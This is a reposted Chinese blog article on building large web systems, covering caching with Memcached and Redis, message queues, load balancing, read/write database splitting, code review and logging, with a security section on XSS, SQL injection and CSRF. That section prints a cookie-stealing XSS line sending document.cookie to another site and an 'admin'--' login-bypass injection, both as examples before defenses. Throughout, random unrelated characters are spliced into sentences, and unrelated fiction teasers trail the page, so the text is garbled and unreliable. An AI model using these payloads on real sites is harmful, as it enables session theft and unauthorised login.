如何打造一個日均PV千萬級別的大型系統(tǒng)伪煤?【轉(zhuǎn)】

作者介紹

周金橋加袋,具有豐富的系統(tǒng)規(guī)劃凛辣、設(shè)計抱既、開發(fā)、運維及團(tuán)隊組織管理工作經(jīng)驗扁誓,熟悉.Net、J2EE技術(shù)架構(gòu)及應(yīng)用蝗敢。微軟2008-2012五屆最有價值專家(MVP)捷泞,2009年單獨著有《ASP.NET夜話》一書,2010年與人合著《程序員的成長之路》寿谴。至今活躍在多個技術(shù)社區(qū)锁右。

本文我選定的方向是如何開發(fā)一個大型系統(tǒng),在這里我對大型系統(tǒng)的定義為日均PV在千萬級以上讶泰,而京東和淘寶這類則屬于巨型系統(tǒng)了咏瑟。因此在本篇中講述的都是基于一些開源免費的技術(shù)實現(xiàn),至于通過F5硬件加速痪署、DNS來實現(xiàn)負(fù)載均衡码泞、CDN加速等需要花錢購買的技術(shù)或者服務(wù)則不再本篇介紹范圍之類。

一狼犯、從兩個系統(tǒng)說起

1余寥、某移動互聯(lián)網(wǎng)公司服務(wù)器端架構(gòu)圖

上圖是某移動互聯(lián)網(wǎng)公司的服務(wù)器端架構(gòu)圖,它支撐了國內(nèi)外數(shù)百萬客戶端的訪問請求悯森,有如下特點:

多層級集群宋舷,從Web服務(wù)器層、NoSQL層級數(shù)據(jù)庫層都實現(xiàn)了集群瓢姻,這樣使得每一層的響應(yīng)時間大大縮短祝蝠,從而能夠在單位時間內(nèi)響應(yīng)更多請求;

NoSQL應(yīng)用(Memcached),在NoSQL領(lǐng)域Memcached和Redis都有大量的用戶群续膳,在這個架構(gòu)里使用的是Memcached改艇。

數(shù)據(jù)庫讀寫分離,當(dāng)前大多數(shù)數(shù)據(jù)庫服務(wù)器支持主從機(jī)制或訂閱發(fā)布機(jī)制坟岔,這樣一來就為讀寫分離創(chuàng)造了條件谒兄,減少了數(shù)據(jù)庫競爭死鎖出發(fā)條件,使響應(yīng)時間大為縮短(非數(shù)據(jù)庫集群情況下還可以考慮分庫機(jī)制)社付。

負(fù)載均衡承疲,Nginx實現(xiàn)Web服務(wù)器的負(fù)載均衡,Memcached自帶負(fù)載均衡實現(xiàn)鸥咖。


2燕鸽、某公司生產(chǎn)管理系統(tǒng)架構(gòu)圖

上圖是為某公司的一個分散型系統(tǒng)做的架構(gòu)設(shè)計,這家公司擁有多個跨市啼辣、跨省的生產(chǎn)片區(qū)啊研,在各片區(qū)都有自己的生態(tài)車間,各片區(qū)與總公司之間通過數(shù)據(jù)鏈路連接鸥拧。這個系統(tǒng)的特點是所有的流水線上的產(chǎn)品都貼有唯一的條碼党远,在生產(chǎn)線的某個操作位操作之前都會掃描貼在產(chǎn)品上的條碼,系統(tǒng)會根據(jù)條碼做一些檢查工作富弦,如:產(chǎn)品條碼是否應(yīng)被使用過(比如之前應(yīng)發(fā)貨給客戶過)沟娱、產(chǎn)品是否完成了本道工序之前的全部必須完成工序,如果滿足條件則記錄當(dāng)前操作工序名稱腕柜、操作人济似、操作時間和操作結(jié)果等呈队。

一件產(chǎn)品從上線到完成有數(shù)十道工序蚪缀,而每月下線的產(chǎn)品有少則數(shù)十萬、多則數(shù)百萬客年,一個月下來的數(shù)據(jù)量也是不小的蛾找。特別是在跨廠區(qū)網(wǎng)絡(luò)不穩(wěn)定的情況下如何保證對生產(chǎn)的影響最小娩脾。

本系統(tǒng)架構(gòu)特點:

所有業(yè)務(wù)邏輯集中在服務(wù)器端,并以Service形式提供打毛,這樣便于業(yè)務(wù)邏輯調(diào)整客戶端能及時得到最新更新柿赊;

部署Service的服務(wù)器采用集群部署,Nginx實現(xiàn)調(diào)度幻枉;

NoSQL采用了Redis碰声,與Memcached相比,Redis支持的數(shù)據(jù)類型更多熬甫,同時Redis帶有持久化功能胰挑,可以將每個條碼對應(yīng)的產(chǎn)品的最終信息存儲在Redis當(dāng)中,這樣一般的查詢工作(如條碼是否被使用、產(chǎn)品當(dāng)前狀態(tài))都可以在Redis中查詢而不是數(shù)據(jù)庫查詢瞻颂,這樣大大減輕了數(shù)據(jù)庫壓力豺谈;

數(shù)據(jù)庫采用了主從機(jī)制,實現(xiàn)了讀寫分離贡这,也是為了提高響應(yīng)速度茬末;

使用了消息隊列MQ和ETL,將一些可以異步處理的動作存放在MQ中盖矫,然后由ETL來執(zhí)行(比如訂單完成后以郵件形式通知相關(guān)人員)丽惭;

實現(xiàn)了系統(tǒng)監(jiān)控,通過Zabbix來對服務(wù)器辈双、應(yīng)用及網(wǎng)絡(luò)關(guān)鍵設(shè)備實行7×24小時監(jiān)控责掏,重大異常及時郵件通知IT支持人員。

由于總部其它地方生產(chǎn)規(guī)模較小湃望,所以生產(chǎn)分布未采用復(fù)雜架構(gòu)换衬,不過因為從客戶處退回的不良產(chǎn)品都會在總部生產(chǎn)車間進(jìn)行返修處理,因此總部生產(chǎn)系統(tǒng)需要保存分部生產(chǎn)車間數(shù)據(jù)喜爷,因此分部生產(chǎn)車間數(shù)據(jù)會同時寫進(jìn)分部生產(chǎn)數(shù)據(jù)庫和分部MQ服務(wù)器冗疮,然后由總部ETL服務(wù)器讀取寫入到總部系統(tǒng)中萄唇。在分部與總部網(wǎng)絡(luò)中斷的情況下分部系統(tǒng)仍可獨立工作檩帐,直到網(wǎng)絡(luò)恢復(fù)。


二另萤、系統(tǒng)質(zhì)量保證

1湃密、單元測試

單元測試是指對軟件中的最小可測試單元進(jìn)行檢查和驗證。通常而言四敞,一個單元測試是用于判斷某個特定條件(或者場景)下某個特定函數(shù)的行為泛源,常見的開發(fā)語言都有對應(yīng)的單元測試框架,常見的單元測試工具:Junit/Nunit/xUnit.Net/Microsoft.VisualStudio.TestTool

關(guān)于單元測試的重要性和如何編寫單元測試用例忿危,在本篇就不詳述了达箍,網(wǎng)上有大量相關(guān)的文章∑坛總之缎玫,越大型的系統(tǒng)、越重要的系統(tǒng)解滓,單元測試的重要性越大赃磨。

針對一些需要外部依賴的單元測試,比如需要Web容器等洼裤,可以使用mock測試邻辉,Java測試人員可以使用EasyMock這個測試框架,其網(wǎng)址是http://easymock.org/。

2值骇、代碼質(zhì)量管理平臺

對于多人參與的團(tuán)隊項目莹菱,雖然大多數(shù)情況下會有編碼規(guī)范拉指導(dǎo)大家如何編寫團(tuán)隊風(fēng)格一致的編碼,但不能保證團(tuán)隊中每個成員吱瘩、尤其是后期加入的團(tuán)隊成員仍能按照編碼規(guī)范來編寫代碼芒珠,因此需要有一個平臺來保證,在這里推薦SonarQube搅裙。

SonarQube是一個開源平臺皱卓,用于管理源代碼的質(zhì)量。Sonar不只是一個質(zhì)量數(shù)據(jù)報告工具部逮,更是代碼質(zhì)量管理平臺娜汁。支持的語言包括:Java、PHP兄朋、C#掐禁、C、Cobol颅和、PL/SQL傅事、Flex 等。

主要特點:

代碼覆蓋:通過單元測試峡扩,將會顯示哪行代碼被選中

改善編碼規(guī)則

搜尋編碼規(guī)則:按照名字蹭越,插件,激活級別和類別進(jìn)行查詢

項目搜尋:按照項目的名字進(jìn)行查詢

對比數(shù)據(jù):比較同一張表中的任何測量的趨勢


當(dāng)然除了代碼質(zhì)量管理平臺外教届,還有借助源代碼管理系統(tǒng)响鹃,并且在每次提交代碼前進(jìn)行代碼審核,這樣每次代碼的異動都可以追溯出來案训。我管理和經(jīng)歷過的一些重要系統(tǒng)中采用過這樣的做法:除了管理所有程序代碼之外买置,還將系統(tǒng)中數(shù)據(jù)庫中的表、視圖强霎、函數(shù)及存儲過程的創(chuàng)建都使用源代碼版本管理工具管控起來忿项,而且粒度很小,每個對象的創(chuàng)建都是一個SQL文件城舞。這種方式雖然操作起來有些瑣碎轩触,但對于代碼的變遷追溯非常方便。


三椿争、系統(tǒng)性能保證

1怕膛、緩存

所謂緩存就是將一些頻繁使用、但改動相對不平凡的數(shù)據(jù)保存在內(nèi)存中秦踪,每次更新這些數(shù)據(jù)的時候同時持久化到數(shù)據(jù)庫或文件系統(tǒng)褐捻,并同步更新到緩存中掸茅,查詢的時候盡可能利用緩存。

緩存的實現(xiàn)方法:自定義實現(xiàn)或利用NoSQL柠逞。

自定義實現(xiàn)

自定義實現(xiàn)可利用SDK中提供的類昧狮,如Dictionary等。

優(yōu)點:可以局部提高查詢效率板壮;

缺點:不能跨應(yīng)用逗鸣、跨服務(wù)器,僅限于單個應(yīng)用绰精;沒有較好緩存生命周期管理策略撒璧。

NoSQL

Memcached

優(yōu)點:可以跨應(yīng)用、跨服務(wù)器笨使,有靈活的生命周期管理策略卿樱;支持高并發(fā);支持分布式硫椰。

缺點:不支持持久化繁调,僅在內(nèi)存存儲,重啟后數(shù)據(jù)丟失靶草,需要“熱加載”蹄胰;僅支持Key/Value。

Redis

優(yōu)點:可以跨應(yīng)用奕翔、跨服務(wù)器裕寨,有靈活的生命周期管理策略;支持高并發(fā)糠悯;支持集群帮坚;支持持久化;支持Key/Value互艾、List、Set讯泣、Hash數(shù)據(jù)結(jié)構(gòu)纫普;

以上幾種方法都存在一個特點:需要通過Key去尋找對應(yīng)的Value、List好渠、Set或Hash昨稼。

除了Memcached和Redis之外,還出現(xiàn)了一些NoSQL數(shù)據(jù)庫和支持NoSQL的數(shù)據(jù)庫拳锚,前者如MongoDB假栓,后者如PostgreSQL(>V9.4),下面是一個MongoDB與PostgreSQL的NoSQL特性的對比:

文檔型NoSQL數(shù)據(jù)庫的特點:

不定義表結(jié)構(gòu)

即使不定義表結(jié)構(gòu)霍掺,也可以像定義了表結(jié)構(gòu)一樣使用匾荆,還省去了變更表結(jié)構(gòu)的麻煩拌蜘。

可以使用復(fù)雜的查詢條件

跟鍵值存儲不同的是,面向文檔的數(shù)據(jù)庫可以通過復(fù)雜的查詢條件來獲取數(shù)據(jù)牙丽,雖然不具備事務(wù)處理和Join這些關(guān)系型數(shù)據(jù)庫所具有的處理能力简卧,但初次以外的其他處理基本上都能實現(xiàn)。

NoSQL主要是提高效率烤芦,關(guān)系數(shù)據(jù)庫可以保證數(shù)據(jù)安全举娩;各有使用場景,一般的企業(yè)管理系統(tǒng)构罗,沒多少并發(fā)量沒必要使用NoSQL铜涉,互聯(lián)網(wǎng)項目或要求并發(fā)的NoSQL使用比較多,但是最終重要的數(shù)據(jù)還是要保存到關(guān)系數(shù)據(jù)庫遂唧。這也是為什么很多公司會同時使用NoSQL和關(guān)系型數(shù)據(jù)庫的原因骄噪。

2、異步

所謂異步就是調(diào)用一個方法后并不等該方法執(zhí)行完畢后再繼續(xù)執(zhí)行后續(xù)的操作蠢箩,而是調(diào)用完畢后馬上等待用戶的其它指令链蕊。打印機(jī)管理程序就是一個異步的例子,某個人可能有幾個數(shù)百頁的文檔需要打印谬泌,可以在打開一個文檔之后點擊打印滔韵,然后繼續(xù)打開另一個文檔繼續(xù)點打印。盡管打印數(shù)百頁文檔需要較長時間掌实,但后續(xù)的打印請求會在打印管理程序中排隊陪蜻,等第一個文檔打印完成后再繼續(xù)第二個文檔的打印。

異步有兩個層面:編程語言層面的異步和通過消息隊列等機(jī)制實現(xiàn)的異步贱鼻。

語法層面異步:像Java/C#等大多數(shù)語言都支持異步處理宴卖。

消息隊列實現(xiàn)異步

用消息隊列實現(xiàn)異步只是消息隊列的一個基本功能之一,消息隊列還具有如下功能:

解耦

靈活性 & 峰值處理能力

可恢復(fù)性

送達(dá)保證

排序保證

緩沖

理解數(shù)據(jù)流

異步通信

注:消息隊列成為在進(jìn)程或應(yīng)用之間進(jìn)行通信的最好形式邻悬。消息隊列隊列是創(chuàng)建強(qiáng)大的分布式應(yīng)用的關(guān)鍵症昏。

常用消息隊列有如下,可根據(jù)系統(tǒng)特點和運維支持團(tuán)隊的掌握程度選擇:

MSMQ

ActiveMQ

RabbitMQ

ZeroMQ

Kafka

MetaMQ

RocketMQ

3父丰、負(fù)載均衡

負(fù)載均衡是根據(jù)某種負(fù)載策略把請求分發(fā)到集群中的每一臺服務(wù)器上肝谭,讓整個服務(wù)器群來處理網(wǎng)站的請求。

常見負(fù)載均衡方案

Windows負(fù)載均衡:NLB

Linux負(fù)載均衡:LVS

Web負(fù)載均衡:Nginx

硬件級負(fù)載均衡:F5

前面幾種都是免費的解決方案蛾扇,F(xiàn)5作為一種硬件及解決方案在一般企業(yè)很少用到攘烛。我目前知道的僅有一家世界級飲料公司使用了F5作為負(fù)載均衡解決方案,因為這個方案據(jù)說相當(dāng)昂貴镀首。

4坟漱、讀寫分離

讀寫分離為了確保數(shù)據(jù)庫產(chǎn)品的穩(wěn)定性,很多數(shù)據(jù)庫擁有雙機(jī)熱備功能更哄。

也就是芋齿,第一臺數(shù)據(jù)庫服務(wù)器腥寇,是對外提供增刪改業(yè)務(wù)的生產(chǎn)服務(wù)器;第二臺數(shù)據(jù)庫服務(wù)器沟突,主要進(jìn)行讀的操作花颗。

原理:讓主數(shù)據(jù)庫(master)處理事務(wù)性增、改惠拭、刪操作(INSERT扩劝、UPDATE、DELETE)职辅,而從數(shù)據(jù)庫(slave)處理SELECT查詢操作棒呛。

一般情況下我們是在代碼中進(jìn)行處理,但目前也有不少商業(yè)中間件形式的讀寫分離中間件域携,能自動將讀寫數(shù)據(jù)庫操作調(diào)度到不同數(shù)據(jù)庫上簇秒。

在大型系統(tǒng)中,有時候主秀鞭、從數(shù)據(jù)庫都是一個集群趋观,這樣可以保證響應(yīng)速度更快,同時集群中單臺服務(wù)器故障也不影響整個系統(tǒng)對外的響應(yīng)锋边。


四皱坛、系統(tǒng)安全性保證

提交內(nèi)容:window.open(“www.b.com?param=”+document.cookie)

頁面內(nèi)容:<%=request.getParameter(“content”)%>

這樣用戶在a站提交的東西,在顯示的時候如果不加以處理就會打開b站頁面將相關(guān)敏感內(nèi)容顯示出來豆巨。

針對XSS攻擊的防范辦法:

Html encode

特殊字符過濾:<,>

2剩辟、SQL注入

SQL Injection

所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串往扔,欺騙服務(wù)器執(zhí)行惡意的SQL命令贩猎。在某些表單中,用戶輸入的內(nèi)容直接用來構(gòu)造(或者影響)動態(tài)SQL命令萍膛,或作為存儲過程的輸入?yún)?shù)吭服,這類表單特別容易受到SQL注入式攻擊。

例如我們在登錄一個系統(tǒng)時卦羡,在軟件底層按照如下方式查詢數(shù)據(jù):

登錄SQL語句:

SELECT COUNT(*) FROM Login WHERE UserName=’admin’ AND Password=’123456‘

SELECT COUNT(*) FROM Login

WHERE UserName=’admin’–

Password=’123′

針對SQL注入防范辦法:

數(shù)據(jù)輸入驗證

特殊字符過濾:特殊字符過濾

參數(shù)化SQL語句(包括存儲過程)

不使用sa級別賬戶作為連接賬戶或限制連接IP

3噪馏、CSRF攻擊

CSRF(Cross-site request forgery)跨站請求偽造,也被稱為“One Click Attack”或者Session Riding绿饵,通常縮寫為CSRF或者XSRF瓶颠,是一種對網(wǎng)站的惡意利用拟赊。盡管聽起來像跨站腳本(XSS),但它與XSS非常不同粹淋,并且攻擊方式幾乎相左吸祟。XSS利用站點內(nèi)的信任用戶瑟慈,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網(wǎng)站。與XSS攻擊相比屋匕,CSRF攻擊往往不大流行(因此對其進(jìn)行防范的資源也相當(dāng)稀少)和難以防范葛碧,所以被認(rèn)為比XSS更具危險性。

其核心策略是利用了瀏覽器Cookie或者服務(wù)器Session策略过吻,盜取用戶身份进泼。

針對CSRF攻擊防范辦法:

表單Token

驗證碼

Referer檢查

關(guān)鍵操作身份確認(rèn)

4、其它攻擊

Error Code:即錯誤代碼回顯纤虽,許多Web服務(wù)器為調(diào)試方便默認(rèn)顯示詳盡錯誤信息乳绕,如錯誤發(fā)生的上下文、服務(wù)器及應(yīng)用信息等逼纸,容易被惡意利用洋措。

系統(tǒng)或者框架漏洞:如IIS6.0以下版本存在“JPG漏洞”;Apache Struts2服務(wù)在開啟動態(tài)方法調(diào)用任意方法漏洞(CVE-2016-3081)杰刽;OpenSSL的heartbeat漏洞(CVE-2014-0160)菠发;Apache解析漏洞;Nginx(

防范辦法:

上傳文件時對MIME進(jìn)行檢查贺嫂,必要情況下對上傳文件更名

及時關(guān)注安全網(wǎng)站及產(chǎn)品官方網(wǎng)站滓鸠,發(fā)現(xiàn)漏洞及時打補(bǔ)丁

對Web Server運用的用戶角色權(quán)限進(jìn)行限制

使用漏洞掃描工具模擬攻擊

下面是一些我見過的被攻擊后的系統(tǒng)截圖,如下圖是CCTV音樂頻道被攻擊的截圖:

還有本人2008年前后搭建PHPWind運行的畫面:

上圖中是本人2006年前后搭建的一個論壇涝婉,有人利用系統(tǒng)漏洞注冊了很多用戶名為空的用戶(其實是身份遺失),哥力,然后又利用這些賬戶在論壇中大量發(fā)布廣告、色情等違法違紀(jì)的帖子墩弯,因為使用了一些不可見字符進(jìn)行注冊的吩跋,在后臺無法管理,最后只好在數(shù)據(jù)庫中操作管理了渔工。


五锌钮、開發(fā)相關(guān)的經(jīng)驗教訓(xùn)

1、應(yīng)用日志記錄

以前團(tuán)隊運維著一個老系統(tǒng)引矩,系統(tǒng)中沒有日志功能梁丘,而系統(tǒng)的操作人員的計算機(jī)水平又較低,每次打電話都是說系統(tǒng)不能用或者是一些根本無法快速定位原因的描述旺韭,每次接到求助后需要花費大量時間來分析定位原因氛谜,后來將系統(tǒng)中增加了日志功能,并且在網(wǎng)絡(luò)狀態(tài)連通情況下可自動將錯誤日志以郵件形式發(fā)送到負(fù)責(zé)同事組成的用戶組区端,自此以后處理這類問題的響應(yīng)時間大大縮短了值漫,雙方都很滿意。

現(xiàn)在已經(jīng)有很多開源日志庫织盼,比如.NET的Log4Net杨何,Java的Log4j酱塔,可以很輕松地配置啟用日志功能。利用日志組件可以將信息記錄到文件或數(shù)據(jù)庫危虱,便于發(fā)現(xiàn)問題時根據(jù)上下文環(huán)境發(fā)現(xiàn)問題羊娃,這一點在調(diào)試多線程時尤其重要。

日志級別:FATAL(致命錯誤)埃跷、ERROR(一般錯誤)蕊玷、WARN(警告)、INFO(一般信息)捌蚊、DEBUG(調(diào)試信息)集畅。

注意:在調(diào)試環(huán)境中時日志級別盡量低(warn/info),在生產(chǎn)環(huán)境中日志級別盡量高(error)缅糟,且對日志文件大小一定要進(jìn)行控制挺智。不然也會產(chǎn)生問題。

案例:某國內(nèi)有名的管業(yè)集團(tuán)公司的一個系統(tǒng)的重要模塊發(fā)生問題窗宦,啟用了日志功能以便通過日志組件快速將問題定位并修復(fù)赦颇。在發(fā)布到生產(chǎn)環(huán)境時,運行一段時間之后發(fā)現(xiàn)程序運行效率相當(dāng)?shù)拖赂昂辔婚_發(fā)人員對模塊代碼進(jìn)行性能分析未發(fā)現(xiàn)問題媒怯,大家發(fā)現(xiàn)同樣的數(shù)據(jù)量和操作在生產(chǎn)環(huán)境和開發(fā)環(huán)境效率差巨大,無意中發(fā)現(xiàn)生產(chǎn)服務(wù)器上日志文件已超過5G髓窜!事后發(fā)現(xiàn)是由于疏忽未調(diào)高日志級別且未對日志進(jìn)行控制扇苞,調(diào)整日志模式為按日記錄,問題解除寄纵。

參考:《log4net使用詳解》 http://blog.csdn.net/zhoufoxcn/article/details/222053

2鳖敷、歷史記錄追蹤

代碼管控

盡可能使用代碼管控工具對源代碼進(jìn)行管控,如SVN/TFS/Git程拭,如果有可能不但管控程序代碼定踱,還要管控數(shù)據(jù)庫相關(guān)的SQL文件(包括初始化腳本及存儲過程和使用ORM框架中的Mapping文件),做到系統(tǒng)的一切變動皆有記錄恃鞋。

代碼審核

任何人提交代碼都必須本人本地編譯崖媚、調(diào)試無誤后,再有人review后方可提交恤浪,且針對bug修復(fù)的提交需注明所修復(fù)的bug信息畅哑。

Bug記錄

通過Bug記錄系統(tǒng)記錄整個bug的生命周期,包括發(fā)現(xiàn)水由、修復(fù)敢课、關(guān)閉。TFS本身支持bug記錄绷杜,開源系統(tǒng)中禪道也是一個不錯的Bug記錄工具直秆。

六、總結(jié)

本篇主要是就系統(tǒng)從開發(fā)到最終部署運維過程中常用的技術(shù)鞭盟、框架和方法做了一個總結(jié)圾结,當(dāng)然以上經(jīng)驗總結(jié)來源于本人從業(yè)以來所經(jīng)歷的項目中的經(jīng)驗和教訓(xùn),可能還有更好更完美的方案齿诉,在此權(quán)當(dāng)拋磚引玉

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末筝野,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子粤剧,更是在濱河造成了極大的恐慌歇竟,老刑警劉巖,帶你破解...
    沈念sama閱讀 216,372評論 6 498
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件抵恋,死亡現(xiàn)場離奇詭異焕议,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)弧关,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,368評論 3 392
  • 文/潘曉璐 我一進(jìn)店門盅安,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人世囊,你說我怎么就攤上這事别瞭。” “怎么了株憾?”我有些...
    開封第一講書人閱讀 162,415評論 0 353
  • 文/不壞的土叔 我叫張陵蝙寨,是天一觀的道長。 經(jīng)常有香客問我嗤瞎,道長墙歪,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,157評論 1 292
  • 正文 為了忘掉前任猫胁,我火速辦了婚禮箱亿,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘弃秆。我一直安慰自己届惋,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 67,171評論 6 388
  • 文/花漫 我一把揭開白布菠赚。 她就那樣靜靜地躺著脑豹,像睡著了一般。 火紅的嫁衣襯著肌膚如雪衡查。 梳的紋絲不亂的頭發(fā)上瘩欺,一...
    開封第一講書人閱讀 51,125評論 1 297
  • 那天,我揣著相機(jī)與錄音,去河邊找鬼俱饿。 笑死歌粥,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的拍埠。 我是一名探鬼主播失驶,決...
    沈念sama閱讀 40,028評論 3 417
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼枣购!你這毒婦竟也來了嬉探?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 38,887評論 0 274
  • 序言:老撾萬榮一對情侶失蹤棉圈,失蹤者是張志新(化名)和其女友劉穎涩堤,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體分瘾,經(jīng)...
    沈念sama閱讀 45,310評論 1 310
  • 正文 獨居荒郊野嶺守林人離奇死亡胎围,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,533評論 2 332
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了芹敌。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片痊远。...
    茶點故事閱讀 39,690評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖氏捞,靈堂內(nèi)的尸體忽然破棺而出碧聪,到底是詐尸還是另有隱情,我是刑警寧澤液茎,帶...
    沈念sama閱讀 35,411評論 5 343
  • 正文 年R本政府宣布逞姿,位于F島的核電站,受9級特大地震影響捆等,放射性物質(zhì)發(fā)生泄漏滞造。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,004評論 3 325
  • 文/蒙蒙 一栋烤、第九天 我趴在偏房一處隱蔽的房頂上張望谒养。 院中可真熱鬧,春花似錦明郭、人聲如沸买窟。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,659評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽始绍。三九已至,卻和暖如春话侄,著一層夾襖步出監(jiān)牢的瞬間亏推,已是汗流浹背学赛。 一陣腳步聲響...
    開封第一講書人閱讀 32,812評論 1 268
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點兒被人妖公主榨干…… 1. 我叫王不留吞杭,地道東北人盏浇。 一個月前我還...
    沈念sama閱讀 47,693評論 2 368
  • 正文 我出身青樓,卻偏偏與公主長得像篇亭,于是被迫代替她去往敵國和親缠捌。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,577評論 2 353

推薦閱讀更多精彩內(nèi)容